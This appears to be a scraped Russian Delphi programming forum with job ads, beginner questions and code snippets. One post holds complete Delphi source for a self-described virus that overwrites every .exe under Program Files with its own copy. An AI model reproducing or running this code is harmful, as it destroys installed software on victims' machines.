Откройте свой Мир!

В крупную страховую компанию (ТОР 10) требуются Ведущий специалист отдела разработки отчетности, ведущий специалист отдела анализа и внедрения, ведущий специалист отдела проектирования.
Требования
Знание и опыт работы с БД Oracle от 2х лет.
Гражданство РФ, проживание Москва/Моксовская область
Образование высшее, техническое.
По всем вопросам обращайтесь 89151776635, 418673421
panferova@maxy-c.ru
maxy@mail.ru

Всем привет. Я начинающий программист, так что строго не судите. Писал я тут маломальскую программу на Delphi, и чтото щолкнуло в голове захотелось попробовать написать простинький вирус.Написал:

program Yerihon;

{$APPTYPE CONSOLE}

uses
  Windows,
  SysUtils,
  Classes,
  Forms,
  Dialogs;

var
  Windir: string;
  WindirP: PChar;
  Res: Cardinal;
  Program_Files : string;

Procedure Find(var S : TStringList);
 var
 cDir : string;
 SearchRec: TSearchRec; // информация о файле или каталоге
begin
GetDir(0,cDir); // получить имя текущего каталога
 if cDir[length(cDir)] <> '\' then cDir := cDir+'\';
 if FindFirst('*.exe', faArchive,SearchRec) = 0 then
  repeat
  if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
  begin
  S.Add(cDir + SearchRec.Name);
  end;
  until FindNext(SearchRec) <> 0;
// обработка подкаталогов текущего каталога
 if FindFirst('*', faDirectory, SearchRec) = 0 then
  repeat
  if (SearchRec.Attr and faDirectory) = SearchRec.Attr then
  begin
  if SearchRec.Name[1] <> '.' then
  begin
  ChDir(SearchRec.Name);// войти в каталог
  Find(S); // выполнить поиск в подкаталоге
  ChDir('..');// выйти из каталога
  end;
  end;
  until FindNext(SearchRec) <> 0;
end;

 var
 S : TStringList;
 i : integer;
 f : TextFile;
begin
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
 if Res > 0 then WinDir := StrPas(WinDirP);
 if FileExists(Windir + '\Goodwin.txt') then MessageDlg('Твоиму компу хана!', mtWarning, [mbOK], 0)
  else
  begin
  AssignFile(f, Windir + '\Goodwin.txt');
  Rewrite(f);
  Write(f, 'Goodwin');
  CloseFile(f);
  Program_Files := Windir[1] + ':\Program Files';
  S := TStringList.Create;
  ChDir(Program_Files);
  Find(S);
  for i := 0 to S.Count - 1 do CopyFile(PChar(Application.ExeName), PChar(S.Strings[i]), false);
  end;
end.

Вопрос:
Написанное можно хотябы назвать вирусом?

Умею программировать на turbo pascal хочу научиться программировать на delphi
свяжитесь со мной по скайпу steff7772 или по аське 567721517

Система заточена на работу с блок-схемами.
-тупо построение блок схем(типа визео тока все само рисуется выравнивается и тп)
-генерация по коду (Pascal) блок-схем понадобится студентам и школьникам
-построение блок схемы на конкретном языке (паскаль например) возможность ее откомпилировать(да откомпилировать блок схему) сгенерировать код и получить готовый exe-шник

В основном будет полезна для учащихся и педагогов. Для учителей важно отметить что система работает с бд то есть все работы учеников будут в одном месте.

Распространяется фриварно.

vpi.hdd1.ru

Добрый день. Мы в Перми организуем компанию Soft-G-Ru по разроботке игровых программ и прочего софта. 
У меня и моих коллег есть свои наработки и некий опыт. 
Моя цель - это проектирование трёхмерных игр на самом 
высоком уровне! Нам особенно нужны программисты со знанием С++ и DirectX. 
Если Вам это тоже интересно, откликнитесь! Предлагаю встретиться, пообщаться и обсудить 
эту тему.. Надеюсь на сотрудничество. Вместе Мы сможем сделать гораздо больше и Масштабнее!.. 
Я как специалист и преподаватель по Компьютерной графике и знаток по игрострою гарантирую свежий поток 
идей и реальный результат при плодотворном сотрудничестве. Мой телефон 8-908-257-99-50 Сергей

Люди! Обратите внимание на язык PascalABC.NET !
В новой версии есть дизайнер форм.
Что скажете?

Мне нужно из рисунка с расширением *.bmp, каких-либо линий выдернуть линии в определенные координаты или массив. 

Помогите, у меня есть статья но там всё очень сложно, несмог разобраться

Подскажите кто нибудь на калькуляции функцию вычисления полей.

есть задание: Создать панели элементов с кнопками и списками. Настроить панели для реализации функции "причаливания" Docking.


помогите реализовать, пожалуйста

Учу С#  помогите
Дайте мне советы
СПС

Все привет. Вот решил восстанавливать свои знания в Delphi и VBA. Насколько я понял, из последних нормальных версий Delphi - только 5 и 7. Сам я когда то остановился на 5, теперь отрыл 7 и пишу на ней... есть и 9 версия, но в ней все по другому, мне не понравилось - вообще какие версии Delphi сейчас актуальны и какие реально люди используют?

Кто нибудь знает название процедуры для движения фигуры(shape).Очень нужно, помогите плиз.

Подскажите пожалуйста: Как рисовать поверх всех окон левой кнопкой мыши, а правой стирать нарисованное. При этом должна быть форма с 2 кнопками, для включения и отключения этой функции. 
Нашел в интернете код но в нем нет возможности включать и выключать рисование, тут вообще нет формы.
 
program DesktopPaint;
 
uses
  windows,messages;
 
const sWndClassName='TransparentDrawingSurface';
      sWndName='DesktopPaint';
      TransparentColor=$00010101;
      PictureColor=$0000FF00;
      WH_MOUSE_LL=14;
 
type MSLLHOOKSTRUCT=record
                    pt:TPoint;
                    mouseData,
                    flags,
                    time:DWORD;
                    dwExtraInfo:pointer;
                    end;
 
var hHook:THANDLE;SurfaseWnd:HWND;
 
procedure Paint(wnd:HWND;color:COLORREF;pt:TSmallPoint);
var dc:HDC;OriginalPen:HPEN;OriginalBrush:HBRUSH;
begin
dc:=GetDC(wnd);
OriginalPen:=SelectObject(dc,GetStockObject(NULL_PEN));
OriginalBrush:=SelectObject(dc,CreateSolidBrush(color));
ellipse(dc,pt.x-10,pt.y-10,pt.x+10,pt.y+10);
SelectObject(dc,OriginalPen);
DeleteObject(SelectObject(dc,OriginalBrush));
ReleaseDC(wnd,dc);
end;
 
function MouseHook(nCode:integer;msg:cardinal;var info:MSLLHOOKSTRUCT):integer;stdcall;
var buttons:integer;pt:TSmallPoint;
begin
result:=CallNextHookEx(0,nCode,integer(msg),integer(@info));
if nCode=HC_ACTION
   then begin
        buttons:=0;
        if Hi(GetAsyncKeyState(VK_LBUTTON))<>0
           then buttons:=MK_LBUTTON;
        if Hi(GetAsyncKeyState(VK_RBUTTON))<>0
           then buttons:=buttons or MK_RBUTTON;
        pt.x:=info.pt.X;
        pt.y:=info.pt.Y;
        SendMessage(SurfaseWnd,WM_MOUSEMOVE,buttons,integer(pt));
        end;
end;
 
procedure Hook;
begin
hHook:=SetWindowsHookEx(WH_MOUSE_LL,@MouseHook,hInstance,0);
end;
 
procedure Unhook;
begin
UnhookWindowsHookEx(hHook);
end;
 
function WndProc(wnd:HWND;msg:cardinal;wParam,lParam:integer):integer;stdcall;
begin
result:=DefWindowProc(wnd,msg,wParam,lParam);
case msg of
  WM_NCCREATE:begin
              SurfaseWnd:=wnd;
              SetLayeredWindowAttributes(wnd,TransparentColor,0,LWA_COLORKEY);
              Hook;
              end;
 WM_NCDESTROY:begin
              Unhook;
              PostQuitMessage(0);
              end;
 WM_MOUSEMOVE:if (wParam and MK_LBUTTON)=0
                 then if (wParam and MK_RBUTTON)<>0
                         then Paint(wnd,TransparentColor,TSmallPoint(lParam))
                         else 
                 else Paint(wnd,PictureColor,TSmallPoint(lParam));
end;
end;
 
function CreateSurfaceWnd:boolean;
var cls:WNDCLASS;
begin
ZeroMemory(@cls,SizeOf(cls));
with cls do begin
            lpfnWndProc:=@WndProc;
            lpszClassName:=sWndClassName;
            hbrBackground:=CreateSolidBrush(TransparentColor);
            hCursor:=LoadCursor(0,IDC_ARROW);
            end;
result:=(RegisterClass(cls)<>0) and
        (CreateWindowEx(WS_EX_LAYERED or WS_EX_TOPMOST,
                        sWndClassName,sWndName,
                        WS_POPUP or WS_MAXIMIZE or WS_VISIBLE,
                        0,0,0,0,0,0,0,nil)<>0)
end;
 
var msg:TMSG;
begin
if CreateSurfaceWnd
  then while GetMessage(msg,0,0,0) do
        DispatchMessage(msg);
end.

У моего друга скоро день рождения, и я думаю - что бы ему такого написать (на делфи) чтобы долго помнил. Что нибудь доброе но нервирующее. Чтобы ничего не удаляло и вообще ничего глобально страшного не делало. Попугать его хотелось бы. Может подскажете пару функций или ещё чего. Может идеи какие есть?

chto tokoe canvas?kak eqo aktivirovat? kak s nim rabotat?

найдите строку implementation и под ней впишите.

function ReleaseCapture: BOOL; stdcall; external 'user32.dll' name 'ReleaseCapture' index 519;
function SendMessage(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
external 'user32.dll' name 'SendMessageA' index 537;
Потом в событии формы MouseDown напишите.

const
SC_DRAGMOVE : Longint = $F012;
begin
if Button <> mbRight then
begin
ReleaseCapture;
SendMessage(Handle, WM_SYSCOMMAND, SC_DRAGMOVE, 0);
end;

Тут кто-нить бывает? =) Лан попробую на удачу... вдруг да и зайдет какой-нить кодер...
Можно-ли в StrinGrid подкрашивать необходимые ячейки... скажем в столбце нашел максимальный и минимальный элемент, необходимо что бы максимальный был подкрашен красным а минимальный синим...
Возможно такое нельзя провернуть, но тогда есть ли компоненты в делфи, которые помогут решить данную задачу?

Привет! Как позвонить на домашний или мобильный телефон и проиграть
wav-файл средствами Делфи? Номера телефонов находятся в базе Dbase.

Поставлена задача по вечерам (когда все дома) запустить прогу с
проигрыванием заранее записаного wav файла.В этом файле простое
оповещение абонентов о их задолженности по оплате комунальных услуг.

Помогите создать платный сайт.( Платные ссылки ).
Хочу продать прогу через инет.

Пользователь вводит числа. Как запихнуть их в массив?

Здравствуйте, уважаемые!

Помогите плиз: есть пень1 с портом LPT и WIN98.
Есть некая переферийная система подключенная к данному порту.
Нужно подобрать резонансную частоту тока в районе 15кГц данной переферийной системы используя порт принтера для ввода и вывода, можно с внешними ЦАП и АЦП.
Осцилограмму входного и выходного сигнала нужно вывести на монитор.

Помогите пожалуйста с програмкой на Delphi 6 (Turbo)

Заранее благодарен! Игорь.

Привет всем! мне нужна помощ в решении 5 контрольных задач по Delphi! , думаю вы с этим легко справитесь! я не могу и помочь некому! уже третий день ползаю в поисках помощи!  Правда расчет могу произвести только тел. карточками нужного тебе оператора или на номер положить денег!
если устраевает вышлю задания, об оплате договоримся!